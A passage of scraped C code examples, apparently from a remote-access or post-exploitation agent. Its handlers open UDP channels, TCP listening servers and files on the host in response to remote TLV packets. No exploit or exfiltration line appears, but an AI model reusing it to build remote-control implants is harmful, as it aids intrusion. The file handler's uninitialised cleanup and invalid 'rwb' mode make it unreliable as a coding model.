		chops.native.write   = udp_channel_write;
		chops.native.close   = udp_channel_close;

		ctx->sock.channel = channel_create_datagram( 0, 0, &chops );
		if( !ctx->sock.channel )
			BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );

		scheduler_insert_waitable( ctx->sock.notify, ctx, (WaitableNotifyRoutine)udp_channel_notify );

		packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) );

		dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)",  channel_get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport );

	} while( 0 );

	packet_transmit_response( dwResult, remote, response );

	do
	{
		if( dwResult == ERROR_SUCCESS )
			break;

		if( !ctx )		
			break;

		if( ctx->sock.fd )
			closesocket( ctx->sock.fd );
			
		if( ctx->sock.channel )
			channel_destroy( ctx->sock.channel, packet );

		free( ctx );

	} while( 0 );

	return ERROR_SUCCESS;
}
Beispiel #17
0
/*!
 * @brief Allocates a streaming TCP server channel.
 * @param remote Pointer to the remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Opening the server channel completed successfully.
 */
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
{
	DWORD dwResult = ERROR_SUCCESS;
	TcpServerContext * ctx = NULL;
	Packet * response = NULL;
	char * lhost = NULL;
	SOCKADDR_IN saddr = { 0 };
	StreamChannelOps chops = { 0 };
	USHORT lport = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
		}

		ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
		if (!ctx)
		{
			BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
		}

		memset(ctx, 0, sizeof(TcpServerContext));

		ctx->remote = remote;

		lport = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
		if (!lport)
		{
			BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. lport == NULL", ERROR_INVALID_HANDLE);
		}

		lhost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);
		if (!lhost)
		{
			lhost = "0.0.0.0";
		}

		ctx->fd = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
		if (ctx->fd == INVALID_SOCKET)
		{
			BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSASocket failed");
		}

		saddr.sin_family = AF_INET;
		saddr.sin_port = htons(lport);
		saddr.sin_addr.s_addr = inet_addr(lhost);

		if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
		{
#ifdef _WIN32
			dwResult = WSAGetLastError();
			if (dwResult != WSAEADDRNOTAVAIL)
#else
			dwResult = errno;
			if (dwResult != EADDRNOTAVAIL)
#endif
			{
				BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
			}

			dprintf("[TCP-SERVER] Failed to bind to %s, trying 0.0.0.0 ...", lhost);

			// try again, but this time bind to any/all interfaces.
			lhost = "0.0.0.0";
			saddr.sin_addr.s_addr = inet_addr(lhost);
			if (bind(ctx->fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
			{
				BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
			}
			dwResult = ERROR_SUCCESS;
		}

		if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
		{
			BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
		}

		ctx->notify = WSACreateEvent();
		if (ctx->notify == WSA_INVALID_EVENT)
		{
			BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
		}

		if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
		{
			BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
		}

		memset(&chops, 0, sizeof(StreamChannelOps));
		chops.native.context = ctx;
		chops.native.close = tcp_channel_server_close;

		ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
		if (!ctx->channel)
		{
			BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
		}

		scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);

		packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));

		dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", lhost, lport, channel_get_id(ctx->channel));

	} while (0);

	packet_transmit_response(dwResult, remote, response);

	do
	{
		if (dwResult == ERROR_SUCCESS)
		{
			break;
		}

		dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);

		if (!ctx)
		{
			break;
		}

		if (ctx->fd)
		{
			dprintf("[TCP-SERVER] Destroying socket");
			closesocket(ctx->fd);
		}

		if (ctx->channel)
		{
			dprintf("[TCP-SERVER] Destroying channel");
			channel_destroy(ctx->channel, packet);
		}

		free(ctx);

	} while (0);

	return dwResult;
}
Beispiel #18
0
/*
 * Allocate a new channel that is associated with a local file on disk
 * and send the new channel identifier response to the requestor
 */
DWORD request_fs_file_open(Remote *remote, Packet *packet)
{
	Packet *response = NULL;
	PCHAR filePath, modeString, channelType;
	DWORD res = ERROR_SUCCESS;
	Channel *newChannel;
	FileContext *ctx;
	DWORD mode;

	do
	{
		// If this is not an FS channel open, ignore it.
		if ((!(channelType = packet_get_tlv_value_string(packet,
				TLV_TYPE_CHANNEL_TYPE))) ||
		    (strcmp(channelType, "fs")))
		{
			res = ERROR_NOT_FOUND;
			break;
		}

		// Allocate a response
		response = packet_create_response(packet);

		// Check the response allocation & allocate a un-connected
		// channel
		if ((!response) ||
		    (!(newChannel = channel_create(0))) ||
		    (!(ctx = (FileContext *)malloc(sizeof(FileContext)))))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the file path and the mode
		filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_PATH);
		mode     = packet_get_tlv_value_uint(packet, TLV_TYPE_FS_MODE);

		// Determine the actual mode
		switch (mode)
		{
			case FILE_MODE_READ:      modeString = "rb";  break;
			case FILE_MODE_WRITE:     modeString = "wb";  break;
			case FILE_MODE_READWRITE: modeString = "rwb"; break;
		}

		// Invalid file?
		if ((!filePath) ||
		    (!(ctx->fd = fopen(filePath, modeString))))
		{
			res = (filePath) ? ERROR_FILE_NOT_FOUND : GetLastError();
			break;
		}

		// Set the direct I/O handler for this channel to the file 
		// channel direct I/O handler.
		channel_set_local_io_handler(newChannel, ctx,
				(DirectIoHandler)file_channel_dio_handler);

		// Add the channel identifier to the response
		packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, 
				channel_get_id(newChannel));

	} while (0);

	// Transmit the packet if it's valid
	if (response)
	{
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);

		packet_transmit(remote, response, NULL);
	}

	// Clean up on failure
	if (res != ERROR_SUCCESS)
	{
		if (newChannel)
			channel_destroy(newChannel);
		if (ctx)
			free(ctx);
	}

	return res;
}